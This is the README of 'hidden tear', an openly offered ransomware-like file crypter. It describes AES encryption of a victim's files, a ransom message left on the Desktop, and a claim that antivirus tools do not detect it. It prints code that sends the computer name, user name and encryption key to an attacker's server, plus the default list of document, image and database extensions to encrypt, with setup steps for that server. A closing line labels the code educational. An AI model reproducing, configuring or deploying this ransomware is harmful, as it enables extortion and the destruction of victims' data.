_     _     _     _              _                  
    | |   (_)   | |   | |            | |                 
    | |__  _  __| | __| | ___ _ __   | |_ ___  __ _ _ __ 
    | '_ \| |/ _` |/ _` |/ _ \ '_ \  | __/ _ \/ _` | '__|
    | | | | | (_| | (_| |  __/ | | | | ||  __/ (_| | |   
    |_| |_|_|\__,_|\__,_|\___|_| |_|  \__\___|\__,_|_|   

It's a ransomware-like file crypter sample which can be modified for specific purposes.

Features

• Uses AES algorithm to encrypt files.
• Sends encryption key to a server.
• Encrypted files can be decrypt in decrypter program with encryption key.
• Creates a text file in Desktop with given message.
• Small file size (12 KB)
• Doesn't detected to antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt

Demonstration Video

https://www.youtube.com/watch?v=LtiRISepIfs

Usage

• You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping)

  string targetURL = "https://www.example.com/hidden-tear/write.php?info=";

• The script should writes the GET parameter to a text file. Sending process running in SendPassword() function

  string info = computerName + "-" + userName + " " + password;
  var fullUrl = targetURL + info;
  var conent = new System.Net.WebClient().DownloadString(fullUrl);
  
  

• Target file extensions can be change. Default list:

var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};

Legal Warning

While this may be helpful for some, there are significant risks. hidden tear may be used only for Educational Purposes. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.

Thanks

Special thanks to Ikikardes who helped me to publish this code.